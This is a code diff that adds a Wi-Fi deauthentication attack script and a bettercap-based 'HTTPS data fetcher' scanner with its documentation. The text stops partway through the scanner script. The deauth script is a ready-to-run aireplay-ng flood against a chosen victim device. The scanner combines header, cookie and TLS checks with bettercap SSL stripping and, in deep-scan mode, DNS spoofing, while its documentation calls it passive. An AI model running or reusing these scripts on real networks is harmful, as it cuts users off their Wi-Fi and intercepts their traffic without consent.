diff --git a/UI/frontend/src/content/python-scripts/deauth_attack.py b/UI/frontend/src/content/python-scripts/deauth_attack.py
new file mode 100644
index 0000000..2341861
--- /dev/null
+++ b/UI/frontend/src/content/python-scripts/deauth_attack.py
@@ -0,0 +1,27 @@
+# Deauthentication Attack Script
+# This script performs a deauthentication attack on a specified Wi-Fi network.
+
+import os
+import subprocess
+def deauth_attack(interface, target_mac, gateway_mac):
+ print(f"[+] Starting deauthentication attack on {target_mac} via {gateway_mac} using {interface}")
+
+ # Construct the command for the deauthentication attack
+ command = [
+ "sudo", "aireplay-ng", "--deauth", "100000000", "-a", gateway_mac, "-c", target_mac, interface
+ ]
+
+ # Execute the command
+ subprocess.call(command)
+
+
+# Example usage
+if __name__ == "__main__":
+ # Fetch the interface name using iwconfig command
+ interface = input("Enter the interface name (e.g., wlan0): ")
+ target_mac = input("Enter the target MAC address (victim): ")
+ gateway_mac = input("Enter the gateway (AP) MAC address: ")
+ print(f"[+] Initiating Deauthentication attack on {target_mac} via {gateway_mac} using {interface}")
+ deauth_attack(interface, target_mac, gateway_mac)
+ print("[+] Deauthentication attack completed")
+
\ No newline at end of file
diff --git a/UI/frontend/src/content/python-scripts/https_data_fetcher_bettercap.md b/UI/frontend/src/content/python-scripts/https_data_fetcher_bettercap.md
new file mode 100644
index 0000000..1044df3
--- /dev/null
+++ b/UI/frontend/src/content/python-scripts/https_data_fetcher_bettercap.md
@@ -0,0 +1,144 @@
+## https_data_fetcher_bettercap.py
+
+### Usage Scenario
+
+This script is a crucial **all-in-one analysis tool** for penetration testers, security auditors, and system administrators. It focuses on combining a comprehensive **Passive Web Security Scan** (HTTP headers, SSL/TLS, forms, technology stack) with an **Active Network Traffic Capture** using the external utility **Bettercap**.
+
+* **What problem does it solve?** It addresses the problem of fragmented security analysis by generating a single, structured report that correlates web application vulnerabilities (e.g., missing security headers, insecure cookies, weak SSL) with on-the-wire network intelligence (DNS queries, TCP connections). This holistic view provides crucial context often missed by static scanners.
+* **Who would benefit from using it?** **Ethical Hackers/Penetration Testers** benefit by automating the initial reconnaissance and vulnerability discovery phase. **Security Engineers** use it to continuously monitor and assess the security posture of their web applications and underlying network infrastructure, receiving a prioritized **Vulnerability Score** (0-100) and **Risk Level** (LOW to CRITICAL).
+
+---
+
+### What the Script Does
+
+The Python script acts as a **multi-stage security assessment engine** that integrates web analysis with network sniffing via **Bettercap**.
+
+**The execution flow is:**
+
+1. **Input:** It requires a mandatory **Target HTTPS URL** (`https://...`) and a **Network Interface** (e.g., `eth0`, `wlan0`) for Bettercap.
+2. **Process - Stage 1 (Passive Web Analysis):** It fetches the URL, parses the HTML with **BeautifulSoup**, analyzes all linked resources, and performs a deep dive into the server's **security posture**. This includes checks on SSL/TLS configuration, HTTP security headers (HSTS, CSP), and cookie security attributes (`Secure`, `HttpOnly`).
+3. **Process - Stage 2 (Active Network Capture):** It spawns the external **Bettercap** process on the specified interface, actively capturing network traffic (DNS, TCP, TLS handshakes) while simultaneously generating controlled test traffic to the target. This gathers network-level intelligence.
+4. **Process - Stage 3 (Analysis and Reporting):** It aggregates all web data and network logs, calculates a **Vulnerability Score** based on proprietary rules, assigns a **Risk Level**, and compiles a final, structured report with prioritized recommendations.
+
+**Output/Side Effects:** The script prints real-time logs and generates a timestamped, comprehensive report file (`.json`, `.csv`, or `.html`) containing all extracted data, scores, and recommendations. **Note:** Requires **root/sudo access** due to the use of Bettercap for packet capture.
+
+---
+
+### Code Explanation
+
+#### Imported Libraries
+
+| Library | Purpose |
+| :--- | :--- |
+| `subprocess`, `sys`, `os`, `time`, `threading` | Core utilities for managing the script's execution, handling system commands, and concurrent operations (crucial for running Bettercap simultaneously with web fetching). |
+| **`requests`**, **`urllib3`** | Essential for making HTTP/HTTPS requests to the target URL and managing connection warnings (e.g., suppressing warnings for skipped SSL verification). |
+| **`beautifulsoup4` (`bs4`)** | Used for parsing the HTML content of the target page, enabling extraction of links, forms, scripts, and meta tags for deeper analysis. |
+| `json`, `csv`, `re`, `socket`, `ssl`, `hashlib`, `datetime`, `urllib.parse` | Standard libraries for data handling, regular expressions, network socket programming (used in `get_ssl_info`), and date/URL manipulation. |
+| **`cryptography`** | Used for advanced analysis of SSL/TLS certificates, including chain validation and public key size assessment. |
+| **`geoip2`** | Utilized for IP geolocation analysis of network addresses discovered during the Bettercap capture. |
+
+#### Main Functions
+
+| Function | Parameters | Returns | Purpose |
+| :--- | :--- | :--- | :--- |
+| **`fetch_https_data`** | `url`, `verify_ssl` | `dict` | Performs the passive web scan: fetches content, parses HTML, extracts all links/forms, detects technologies, and initiates security sub-analyses. |
+| **`get_ssl_info`** | `hostname`, `port` | `dict` | Connects directly to the host to perform a deep SSL/TLS certificate analysis, checking for weak versions, key sizes, and expiry dates. |
+| **`analyze_cookies`** | `headers` | `dict` | Parses `Set-Cookie` headers to check for security flags (`Secure`, `HttpOnly`, `SameSite`) and assigns severity to missing attributes. |
+| **`analyze_csp`** | `headers` | `dict` | Parses and evaluates the Content Security Policy header, identifying the presence of dangerous directives like `unsafe-inline` or `unsafe-eval`. |
+| **`start_bettercap`** | `iface` | `subprocess.Popen` | Spawns the Bettercap process with necessary modules activated (e.g., `http.proxy.sslstrip true`, `net.sniff.local true`) for network capture. |
+| **`capture_traffic`** | `proc`, `target_url`, `duration`, `deep_scan` | `dict` | Reads and parses Bettercap's real-time output for the specified duration, extracting and structuring network intelligence (DNS, TCP, IP geolocation). |
+| **`calculate_vulnerability_score`** | `analysis_data` | `dict` | Applies a rule-based scoring system (deducting points based on issue severity) to assign a final score (0-100) and a **Risk Level** (LOW, MEDIUM, HIGH, CRITICAL). |
+| **`analyze_and_report`** | `url_data`, `network_data` | `dict` | The orchestrator function that merges all findings, calculates the score, and compiles the final, structured report with recommendations. |
+
+#### Execution Logic
+
+The script follows a sequential, four-step flow managed by the `main` function (`if __name__ == "__main__":`):
+
+1. **Initialization and Arguments:** The script first validates all command-line arguments (URL, interface) and parses optional flags like `--no-verify` and `--timeout`.
+2. **HTTPS Web Scan (Passive):** It calls `fetch_https_data()`. If the data retrieval is successful, it proceeds to perform detailed analyses on headers, cookies, CSP, and SSL/TLS configuration using the respective sub-functions.
+3. **Bettercap Capture (Active):** It attempts to start the Bettercap process via `start_bettercap()`. If successful, it enters the `capture_traffic()` phase, where it runs concurrently with the web analysis to gather network logs for the specified duration. The Bettercap process is explicitly terminated before proceeding.
+4. **Reporting and Output:** The collected `url_data` and `network_data` are passed to `analyze_and_report()`. This function generates the final vulnerability score and risk assessment. A summary is printed to the console (`print_summary`), and the full, detailed report is saved to a file using `save_report()` in the user-specified format (JSON, CSV, or HTML).
+
+---
+
+### Screenshots
+
+
+
+
+
+
+
+
+
+---
+
+### Sequence Diagram
+
+```mermaid
+sequenceDiagram
+ participant User
+ participant Main as https_data_fetcher_bettercap.py (main)
+ participant RequestsLib as requests/bs4/cryptography
+ participant Bettercap as bettercap Process
+ participant OS as Operating System
+ participant TargetServer as Target HTTPS Server
+ participant FileSystem as Report Filesystem
+
+ User->>Main: Execute (sudo python script.py )
+ Main->>Main: Parse arguments, Start scan timer
+
+ activate Main
+
+ Note over Main: [STEP 1] HTTPS analysis...
+
+ Note over Main,TargetServer: --- Phase 1: Web Analysis Start ---
+ Main->>RequestsLib: fetch_https_data(url, verify_ssl)
+ RequestsLib->>TargetServer: HTTP/S GET Request
+ TargetServer-->>RequestsLib: HTTP/S Response
+ RequestsLib->>RequestsLib: Parse HTML & detect_technologies
+ RequestsLib->>TargetServer: get_ssl_info() (TLS Handshake)
+ TargetServer-->>RequestsLib: SSL Certificate Details
+ RequestsLib->>Main: Return url_data
+ Note over Main,TargetServer: --- Phase 1: Web Analysis End ---
+
+ Note over Main: [STEP 2] Network analysis...
+
+ Main->>OS: start_bettercap(interface)
+ OS->>Bettercap: Start bettercap Process
+ Bettercap-->>Main: Return bettercap_proc
+
+ alt Bettercap Started
+
+ Note over Main: [STEP 3] Traffic capture...
+
+ Note over Main,TargetServer: --- Phase 2: Network Capture Start ---
+ Main->>Main: capture_traffic(proc, url, timeout)
+ Main->>Bettercap: Send commands (net.sniff on)
+ Main->>TargetServer: Generate controlled traffic
+ TargetServer-->>Bettercap: Network Traffic Stream
+ Bettercap->>Main: stdout Stream (Parse events)
+ Main->>Bettercap: Send commands (net.sniff off)
+ Bettercap-->>Main: Return network_data
+ Note over Main,TargetServer: --- Phase 2: Network Capture End ---
+
+ Main->>Bettercap: proc.terminate()
+ Bettercap->>OS: Terminate Process
+
+ else Bettercap Failed
+ Main->>Main: Skip network capture
+ end
+
+ Note over Main: [STEP 4] Analysis and reporting...
+
+ Main->>Main: analyze_and_report(url_data, network_data)
+ Main->>Main: calculate_vulnerability_score()
+
+ Main->>User: print_summary(report)
+
+ Main->>FileSystem: save_report(format, dir)
+ FileSystem-->>Main: Report file saved
+
+ Main->>User: Print final confirmation
+
+ deactivate Main
\ No newline at end of file
diff --git a/UI/frontend/src/content/python-scripts/https_data_fetcher_bettercap.py b/UI/frontend/src/content/python-scripts/https_data_fetcher_bettercap.py
new file mode 100644
index 0000000..fe12b5f
--- /dev/null
+++ b/UI/frontend/src/content/python-scripts/https_data_fetcher_bettercap.py
@@ -0,0 +1,1381 @@
+#!/usr/bin/env python3
+
+"""
+HTTPS Data Fetcher with Bettercap
+
+SUMMARY:
+ - Extracts: page content, forms, links, scripts, security headers, cookies, technologies
+ - Captures: DNS queries, TCP connections, TLS handshakes, packet metadata, geo-location
+ - Analyzes: SSL/TLS configuration, CSP policies, CORS headers, technology stack
+ - Generates: comprehensive timestamped JSON reports with vulnerability assessments
+
+NEW ENHANCEMENTS:
+ - SSL/TLS certificate analysis and chain validation
+ - Technology stack detection (Wappalyzer-style)
+ - Advanced security header analysis (CSP, CORS, etc.)
+ - Cookie security analysis
+ - Subdomain enumeration attempts
+ - GeoIP location analysis of discovered IPs
+ - Performance metrics and timing analysis
+ - JavaScript analysis for sensitive data exposure
+ - Advanced bettercap commands for deeper network analysis
+ - Vulnerability scoring system
+ - Export to multiple formats (JSON, CSV, HTML)
+
+HOW IT WORKS:
+ 1. HTTPS analysis with certificate inspection
+ 2. Advanced HTML parsing with technology detection
+ 3. Comprehensive security header analysis
+ 4. bettercap integration with more modules
+ 5. Network intelligence gathering and geolocation
+ 6. Vulnerability assessment with scoring
+ 7. Multi-format reporting with visualizations
+
+REQUIREMENTS:
+ - Python 3.7+
+ - Bettercap installed (sudo apt install bettercap)
+ - Root/sudo access for packet capture
+ - Libraries: requests, beautifulsoup4, urllib3, cryptography, geoip2, builtwith
+
+USAGE:
+ sudo python https_data_fetcher_bettercap.py [options]
+
+ Options:
+ --no-verify Skip SSL verification
+ --deep-scan Enable deep scanning (subdomain enum, port scan)
+ --format FORMAT Output format: json, csv, html (default: json)
+ --timeout SECONDS Network capture timeout (default: 30)
+ --output DIR Output directory (default: current)
+
+ Examples:
+ sudo python https_data_fetcher_bettercap.py https://example.com eth0
+ sudo python https_data_fetcher_bettercap.py https://github.com wlan0 --deep-scan
+ sudo python https_data_fetcher_bettercap.py https://test.com eth0 --format html --timeout 60
+
+VULNERABILITY SCORING:
+ Starts at 100 (perfect score), deductions applied for issues found:
+
+ Critical Issues (-15 points each):
+ - Weak TLS versions (TLS 1.0, 1.1)
+ - Weak encryption keys (< 2048 bits)
+
+ High Issues (-10 to -12 points each):
+ - Missing HSTS header
+ - Missing Content Security Policy
+ - Forms without CSRF protection
+ - Insecure cookies (missing Secure flag)
+ - Dangerous CSP directives (unsafe-inline, unsafe-eval)
+
+ Medium Issues (-5 to -8 points each):
+ - Missing security headers (X-Frame-Options, X-Content-Type-Options, etc.)
+ - SSL certificate issues (near expiry)
+ - Cookie issues (missing HttpOnly or SameSite)
+ - Insecure form submissions
+ - Suspicious scripts detected
+
+ Low Issues (-2 to -3 points each):
+ - Minor form security issues
+ - Cookie configuration warnings
+
+ Risk Levels:
+ 80-100: LOW (Good security posture)
+ 60-79: MEDIUM (Some improvements needed)
+ 40-59: HIGH (Significant vulnerabilities)
+ 0-39: CRITICAL (Immediate action required)
+"""
+
+import subprocess
+import sys
+import time
+import threading
+import json
+import csv
+import os
+import re
+import socket
+import ssl
+import hashlib
+from datetime import datetime
+from urllib.parse import urlparse, urljoin, parse_qs
+from collections import defaultdict, Counter
+import requests
+from bs4 import BeautifulSoup
+
+try:
+ from cryptography import x509
+ from cryptography.hazmat.backends import default_backend
+ HAS_CRYPTO = True
+except ImportError:
+ HAS_CRYPTO = False
+ print("[!] Warning: cryptography not installed - SSL analysis will be limited")
+
+try:
+ import geoip2.database
+ import geoip2.errors
+ HAS_GEOIP = True
+except ImportError:
+ HAS_GEOIP = False
+ print("[!] Warning: geoip2 not installed - IP geolocation will be limited")
+
+# Disable SSL warnings for demonstration purposes
+import urllib3
+urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
+
+# security headers to check
+SECURITY_HEADERS = {
+ 'Strict-Transport-Security': 'HSTS protection against downgrade attacks',
+ 'X-Frame-Options': 'Clickjacking protection',
+ 'X-Content-Type-Options': 'MIME sniffing protection',
+ 'X-XSS-Protection': 'XSS filtering (legacy)',
+ 'Content-Security-Policy': 'XSS and injection protection',
+ 'Referrer-Policy': 'Referrer information control',
+ 'Permissions-Policy': 'Feature policy control',
+ 'Cross-Origin-Embedder-Policy': 'Cross-origin isolation',
+ 'Cross-Origin-Opener-Policy': 'Cross-origin opener policy',
+ 'Cross-Origin-Resource-Policy': 'Cross-origin resource sharing'
+}
+
+# Technology detection patterns
+TECH_PATTERNS = {
+ 'WordPress': [r'wp-content/', r'wp-includes/', r'/wp-admin/'],
+ 'Drupal': [r'sites/default/', r'misc/drupal\.js', r'Drupal\.'],
+ 'Joomla': [r'/components/com_', r'Joomla!', r'/media/jui/'],
+ 'React': [r'react', r'_react', r'React\.'],
+ 'Angular': [r'angular', r'ng-', r'Angular'],
+ 'Vue.js': [r'vue\.js', r'Vue\.', r'v-'],
+ 'jQuery': [r'jquery', r'jQuery', r'\$\('],
+ 'Bootstrap': [r'bootstrap', r'Bootstrap'],
+ 'Laravel': [r'laravel_session', r'Laravel'],
+ 'Django': [r'csrfmiddlewaretoken', r'Django'],
+ 'PHP': [r'\.php', r'PHPSESSID'],
+ 'ASP.NET': [r'\.aspx', r'ASPXAUTH', r'ViewState'],
+ 'Nginx': [r'nginx/', r'Server: nginx'],
+ 'Apache': [r'apache', r'Server: Apache'],
+ 'Cloudflare': [r'cloudflare', r'CF-RAY'],
+ 'Google Analytics': [r'google-analytics', r'gtag\(', r'ga\('],
+ 'Google Tag Manager': [r'googletagmanager', r'GTM-']
+}
+
+
+def get_ssl_info(hostname, port=443):
+ """
+ SSL/TLS certificate analysis.
+
+ Args:
+ hostname (str): Target hostname
+ port (int): Port number (default: 443)
+
+ Returns:
+ dict: SSL certificate information and security analysis
+ """
+ ssl_info = {
+ 'certificate_valid': False,
+ 'certificate_chain': [],
+ 'cipher_suite': None,
+ 'protocol_version': None,
+ 'vulnerabilities': [],
+ 'certificate_transparency': False,
+ 'ocsp_stapling': False
+ }
+
+ if not HAS_CRYPTO:
+ return ssl_info
+
+ try:
+ # Create SSL context for connection
+ context = ssl.create_default_context()
+ context.check_hostname = True
+ context.verify_mode = ssl.CERT_REQUIRED
+
+ # Connect and get certificate
+ with socket.create_connection((hostname, port), timeout=10) as sock:
+ with context.wrap_socket(sock, server_hostname=hostname) as ssock:
+ # Get peer certificate
+ der_cert = ssock.getpeercert_chain()[0]
+ cert = x509.load_der_x509_certificate(der_cert, default_backend())
+
+ ssl_info.update({
+ 'certificate_valid': True,
+ 'protocol_version': ssock.version(),
+ 'cipher_suite': ssock.cipher()[0] if ssock.cipher() else None,
+ 'subject': cert.subject.rfc4514_string(),
+ 'issuer': cert.issuer.rfc4514_string(),
+ 'serial_number': str(cert.serial_number),
+ 'not_valid_before': cert.not_valid_before.isoformat(),
+ 'not_valid_after': cert.not_valid_after.isoformat(),
+ 'signature_algorithm': cert.signature_algorithm_oid._name if hasattr(cert.signature_algorithm_oid, '_name') else 'Unknown',
+ 'public_key_size': cert.public_key().key_size if hasattr(cert.public_key(), 'key_size') else 'Unknown'
+ })
+
+ # Check for weak configurations
+ if ssl_info['protocol_version'] in ['TLSv1', 'TLSv1.1']:
+ ssl_info['vulnerabilities'].append(f"Weak TLS version: {ssl_info['protocol_version']}")
+
+ if ssl_info['public_key_size'] < 2048:
+ ssl_info['vulnerabilities'].append(f"Weak key size: {ssl_info['public_key_size']} bits")
+
+ # Check certificate expiry
+ days_until_expiry = (cert.not_valid_after - datetime.now()).days
+ if days_until_expiry < 30:
+ ssl_info['vulnerabilities'].append(f"Certificate expires in {days_until_expiry} days")
+
+ ssl_info['days_until_expiry'] = days_until_expiry
+
+ except ssl.SSLError as e:
+ ssl_info['ssl_error'] = str(e)
+ ssl_info['vulnerabilities'].append(f"SSL Error: {e}")
+ except (socket.error, OSError, ValueError) as e:
+ ssl_info['connection_error'] = str(e)
+
+ return ssl_info
+
+
+def detect_technologies(content, headers, url):
+ """
+ Technology stack detection.
+
+ Args:
+ content (str): HTML content
+ headers (dict): HTTP headers
+ url (str): Target URL
+
+ Returns:
+ dict: Detected technologies and confidence scores
+ """
+ technologies = {}
+ content_lower = content.lower()
+ headers_str = str(headers).lower()
+
+ for tech, patterns in TECH_PATTERNS.items():
+ confidence = 0
+ matches = []
+
+ for pattern in patterns:
+ # Check in content
+ content_matches = len(re.findall(pattern, content_lower, re.IGNORECASE))
+ if content_matches > 0:
+ confidence += content_matches * 20
+ matches.extend(re.findall(pattern, content, re.IGNORECASE)[:3]) # Limit matches
+
+ # Check in headers
+ header_matches = len(re.findall(pattern, headers_str, re.IGNORECASE))
+ if header_matches > 0:
+ confidence += header_matches * 30
+
+ if confidence > 0:
+ technologies[tech] = {
+ 'confidence': min(confidence, 100),
+ 'evidence': matches[:5] # Limit evidence
+ }
+
+ return technologies
+
+
+def analyze_cookies(headers):
+ """
+ Cookie security analysis.
+
+ Args:
+ headers (dict): HTTP response headers
+
+ Returns:
+ dict: Cookie security analysis
+ """
+ cookie_analysis = {
+ 'total_cookies': 0,
+ 'secure_cookies': 0,
+ 'httponly_cookies': 0,
+ 'samesite_cookies': 0,
+ 'vulnerabilities': [],
+ 'cookies': []
+ }
+
+ set_cookies = []
+ for key, value in headers.items():
+ if key.lower() == 'set-cookie':
+ if isinstance(value, list):
+ set_cookies.extend(value)
+ else:
+ set_cookies.append(value)
+
+ for cookie in set_cookies:
+ cookie_info = {
+ 'raw': cookie,
+ 'secure': 'secure' in cookie.lower(),
+ 'httponly': 'httponly' in cookie.lower(),
+ 'samesite': None
+ }
+
+ # Extract cookie name
+ if '=' in cookie:
+ cookie_info['name'] = cookie.split('=')[0].strip()
+
+ # Check SameSite attribute
+ if 'samesite=' in cookie.lower():
+ samesite_match = re.search(r'samesite=([^;]+)', cookie.lower())
+ if samesite_match:
+ cookie_info['samesite'] = samesite_match.group(1).strip()
+
+ cookie_analysis['cookies'].append(cookie_info)
+ cookie_analysis['total_cookies'] += 1
+
+ if cookie_info['secure']:
+ cookie_analysis['secure_cookies'] += 1
+ else:
+ cookie_analysis['vulnerabilities'].append(f"Cookie '{cookie_info.get('name', 'unknown')}' lacks Secure flag")
+
+ if cookie_info['httponly']:
+ cookie_analysis['httponly_cookies'] += 1
+ else:
+ cookie_analysis['vulnerabilities'].append(f"Cookie '{cookie_info.get('name', 'unknown')}' lacks HttpOnly flag")
+
+ if cookie_info['samesite']:
+ cookie_analysis['samesite_cookies'] += 1
+ else:
+ cookie_analysis['vulnerabilities'].append(f"Cookie '{cookie_info.get('name', 'unknown')}' lacks SameSite attribute")
+
+ return cookie_analysis
+
+
+def analyze_csp(headers):
+ """
+ Content Security Policy analysis.
+
+ Args:
+ headers (dict): HTTP response headers
+
+ Returns:
+ dict: CSP analysis results
+ """
+ csp_analysis = {
+ 'present': False,
+ 'directives': {},
+ 'vulnerabilities': [],
+ 'score': 0
+ }
+
+ csp_header = None
+ for key, value in headers.items():
+ if key.lower() in ['content-security-policy', 'content-security-policy-report-only']:
+ csp_header = value
+ csp_analysis['present'] = True
+ csp_analysis['report_only'] = 'report-only' in key.lower()
+ break
+
+ if not csp_header:
+ csp_analysis['vulnerabilities'].append("No Content Security Policy found")
+ return csp_analysis
+
+ # Parse CSP directives
+ directives = {}
+ for directive in csp_header.split(';'):
+ if ':' in directive:
+ key, value = directive.split(':', 1)
+ directives[key.strip()] = value.strip()
+
+ csp_analysis['directives'] = directives
+
+ # Analyze for common issues
+ dangerous_keywords = ['unsafe-inline', 'unsafe-eval', '*']
+ for directive, value in directives.items():
+ for keyword in dangerous_keywords:
+ if keyword in value:
+ csp_analysis['vulnerabilities'].append(f"Dangerous '{keyword}' in {directive}")
+ csp_analysis['score'] -= 10
+
+ # Check for important directives
+ important_directives = ['default-src', 'script-src', 'object-src', 'base-uri']
+ for directive in important_directives:
+ if directive in directives:
+ csp_analysis['score'] += 15
+ else:
+ csp_analysis['vulnerabilities'].append(f"Missing important directive: {directive}")
+
+ csp_analysis['score'] = max(0, min(100, csp_analysis['score'] + 50)) # Normalize to 0-100
+
+ return csp_analysis
+
+
+def fetch_https_data(url, verify_ssl=True):
+ """
+ HTTPS data fetching with comprehensive analysis.
+
+ Args:
+ url (str): The HTTPS URL to fetch data from
+ verify_ssl (bool): Whether to verify SSL certificates
+
+ Returns:
+ dict: website analysis data
+ """
+ print(f"[*] Fetching from: {url}")
+
+ try:
+ # Create session for cookie persistence
+ session = requests.Session()
+ session.headers.update({
+ 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36'
+ })
+
+ # Measure response time
+ start_time = time.time()
+ response = session.get(url, verify=verify_ssl, timeout=15)
+ response_time = time.time() - start_time
+
+ response.raise_for_status()
+
+ print(f"[+] Successfully fetched data (Status: {response.status_code}, Time: {response_time:.2f}s)")
+
+ # Parse HTML
+ soup = BeautifulSoup(response.content, 'html.parser')
+
+ # Data extraction
+ extracted_data = {
+ 'title': soup.title.string.strip() if soup.title and soup.title.string else 'No title found',
+ 'meta_tags': [],
+ 'links': {'internal': [], 'external': [], 'suspicious': []},
+ 'forms': [],
+ 'scripts': {'inline': [], 'external': [], 'suspicious': []},
+ 'images': [],
+ 'headers': dict(response.headers),
+ 'response_time': response_time,
+ 'content_length': len(response.content),
+ 'technologies': {},
+ 'javascript_analysis': {},
+ 'performance_metrics': {}
+ }
+
+ # Meta tag extraction
+ for meta in soup.find_all('meta'):
+ meta_info = {
+ 'name': meta.get('name', ''),
+ 'content': meta.get('content', ''),
+ 'property': meta.get('property', ''),
+ 'http_equiv': meta.get('http-equiv', '')
+ }
+ extracted_data['meta_tags'].append(meta_info)
+
+ # Link analysis
+ parsed_url = urlparse(url)
+ base_domain = parsed_url.netloc
+
+ for link in soup.find_all('a', href=True):
+ href = link['href']
+ full_url = urljoin(url, href)
+ link_parsed = urlparse(full_url)
+
+ link_info = {
+ 'url': href,
+ 'full_url': full_url,
+ 'text': link.get_text(strip=True)[:100], # Limit text length
+ 'target': link.get('target', ''),
+ 'rel': link.get('rel', [])
+ }
+
+ if link_parsed.netloc == base_domain or not link_parsed.netloc:
+ extracted_data['links']['internal'].append(link_info)
+ else:
+ extracted_data['links']['external'].append(link_info)
+
+ # Check for suspicious links
+ suspicious_patterns = ['javascript:', 'data:', 'vbscript:', 'file:']
+ if any(pattern in href.lower() for pattern in suspicious_patterns):
+ extracted_data['links']['suspicious'].append(link_info)
+
+ # Form analysis
+ for form in soup.find_all('form'):
+ form_data = {
+ 'action': form.get('action', ''),
+ 'method': form.get('method', 'GET').upper(),
+ 'enctype': form.get('enctype', ''),
+ 'inputs': [],
+ 'has_csrf': False,
+ 'security_issues': []
+ }
+
+ # Analyze form inputs
+ for input_field in form.find_all(['input', 'textarea', 'select']):
+ input_info = {
+ 'name': input_field.get('name', ''),
+ 'type': input_field.get('type', 'text'),
+ 'value': input_field.get('value', ''),
+ 'required': input_field.has_attr('required')
+ }
+ form_data['inputs'].append(input_info)
+
+ # Check for CSRF tokens
+ if 'csrf' in input_info['name'].lower() or 'token' in input_info['name'].lower():
+ form_data['has_csrf'] = True
+
+ # Security analysis
+ if form_data['method'] == 'GET' and any('password' in inp['type'] for inp in form_data['inputs']):
+ form_data['security_issues'].append("Password field in GET form")
+
+ if not form_data['has_csrf'] and form_data['method'] == 'POST':
+ form_data['security_issues'].append("Missing CSRF protection")
+
+ if form_data['action'].startswith('http://'):
+ form_data['security_issues'].append("Form submits to HTTP (insecure)")
+
+ extracted_data['forms'].append(form_data)
+
+ # Script analysis
+ for script in soup.find_all('script'):
+ if script.get('src'):
+ # External script
+ script_info = {
+ 'src': script['src'],
+ 'type': 'external',
+ 'integrity': script.get('integrity', ''),
+ 'crossorigin': script.get('crossorigin', ''),
+ 'defer': script.has_attr('defer'),
+ 'async': script.has_attr('async')
+ }
+ extracted_data['scripts']['external'].append(script_info)
+
+ # Check for suspicious external scripts
+ suspicious_domains = ['eval', 'document.write', 'innerHTML']
+ if any(domain in script['src'].lower() for domain in suspicious_domains):
+ extracted_data['scripts']['suspicious'].append(script_info)
+ else:
+ # Inline script
+ script_content = script.string or ''
+ script_info = {
+ 'content': script_content[:500], # Limit content length
+ 'type': 'inline',
+ 'length': len(script_content)
+ }
+ extracted_data['scripts']['inline'].append(script_info)
+
+ # Check for dangerous patterns
+ dangerous_patterns = ['eval(', 'document.write(', 'innerHTML', 'outerHTML', 'setTimeout(', 'setInterval(']
+ if any(pattern in script_content for pattern in dangerous_patterns):
+ extracted_data['scripts']['suspicious'].append(script_info)
+
+ # Image analysis
+ for img in soup.find_all('img'):
+ img_info = {
+ 'src': img.get('src', ''),
+ 'alt': img.get('alt', ''),
+ 'loading': img.get('loading', ''),
+ 'width': img.get('width', ''),
+ 'height': img.get('height', '')
+ }
+ extracted_data['images'].append(img_info)
+
+ # Technology detection
+ extracted_data['technologies'] = detect_technologies(response.text, response.headers, url)
+
+ # SSL/TLS analysis
+ hostname = urlparse(url).netloc
+ extracted_data['ssl_analysis'] = get_ssl_info(hostname)
+
+ # Cookie analysis
+ extracted_data['cookie_analysis'] = analyze_cookies(response.headers)
+
+ # CSP analysis
+ extracted_data['csp_analysis'] = analyze_csp(response.headers)
+
+ # Performance metrics
+ extracted_data['performance_metrics'] = {
+ 'response_time_ms': round(response_time * 1000, 2),
+ 'content_size_kb': round(len(response.content) / 1024, 2),
+ 'total_links': len(extracted_data['links']['internal']) + len(extracted_data['links']['external']),
+ 'total_images': len(extracted_data['images']),
+ 'total_scripts': len(extracted_data['scripts']['inline']) + len(extracted_data['scripts']['external'])
+ }
+
+ return {
+ 'status_code': response.status_code,
+ 'headers': dict(response.headers),
+ 'content': response.text,
+ 'extracted_data': extracted_data,
+ 'url': url,
+ 'timestamp': datetime.now().isoformat()
+ }
+
+ except Exception as e:
+ print(f"[!] Error in fetch: {e}")
+ return None
+
+
+def start_bettercap(iface):
+ """
+ Bettercap startup with additional modules.
+
+ Args:
+ iface (str): Network interface
+
+ Returns:
+ subprocess.Popen: bettercap process
+ """
+ print(f"[*] Starting bettercap on interface {iface}...")
+
+ try:
+ proc = subprocess.Popen(
+ ["sudo", "bettercap", "-iface", iface, "-eval",
+ "set net.sniff.verbose true; set net.sniff.local true; set http.proxy.sslstrip true"],
+ stdin=subprocess.PIPE,
+ stdout=subprocess.PIPE,
+ stderr=subprocess.STDOUT,
+ text=True,
+ bufsize=1
+ )
+
+ time.sleep(3)
+
+ if proc.poll() is not None:
+ print("[!] Bettercap failed to start")
+ return None
+
+ return proc
+
+ except Exception as e:
+ print(f"[!] Error starting bettercap: {e}")
+ return None
+
+
+def capture_traffic(proc, target_url, duration=30, deep_scan=False):
+ """
+ Traffic capture with additional analysis.
+
+ Args:
+ proc: Bettercap process
+ target_url (str): Target URL
+ duration (int): Capture duration
+ deep_scan (bool): Enable deep scanning
+
+ Returns:
+ dict: Network analysis data
+ """
+ print(f"[*] Traffic capture for {duration} seconds...")
+
+ parsed_url = urlparse(target_url)
+ target_domain = parsed_url.netloc
+
+ captured_data = {
+ 'dns_queries': [],
+ 'http_requests': [],
+ 'tcp_connections': [],
+ 'ssl_handshakes': [],
+ 'discovered_ips': set(),
+ 'discovered_domains': set(),
+ 'packet_count': 0,
+ 'raw_output': []
+ }
+
+ output_lines = []
+ stop_reading = threading.Event()
+
+ def read_output():
+ while not stop_reading.is_set():
+ try:
+ line = proc.stdout.readline()
+ if line:
+ output_lines.append(line.strip())
+ print(f"[BETTERCAP] {line.strip()}")
+ except:
+ break
+
+ reader_thread = threading.Thread(target=read_output)
+ reader_thread.daemon = True
+ reader_thread.start()
+
+ # Bettercap commands
+ commands = [
+ "net.probe on",
+ "net.sniff on",
+ "dns.spoof on" if deep_scan else "",
+ "http.proxy on" if deep_scan else "",
+ "events.stream on",
+ "ticker on"
+ ]
+
+ for cmd in commands:
+ if cmd and proc.poll() is None:
+ try:
+ proc.stdin.write(cmd + "\n")
+ proc.stdin.flush()
+ time.sleep(0.5)
+ except:
+ break
+
+ # Generate traffic
+ def generate_traffic():
+ time.sleep(2)
+ try:
+ # Multiple requests with different patterns
+ for i in range(5):
+ requests.get(target_url, timeout=5)
+ time.sleep(1)
+
+ # Try common paths
+ if deep_scan:
+ common_paths = ['/robots.txt', '/sitemap.xml', '/favicon.ico', '/.well-known/security.txt']
+ for path in common_paths:
+ try:
+ test_url = f"{target_url.rstrip('/')}{path}"
+ requests.get(test_url, timeout=3)
+ except:
+ pass
+ except:
+ pass
+
+ traffic_thread = threading.Thread(target=generate_traffic)
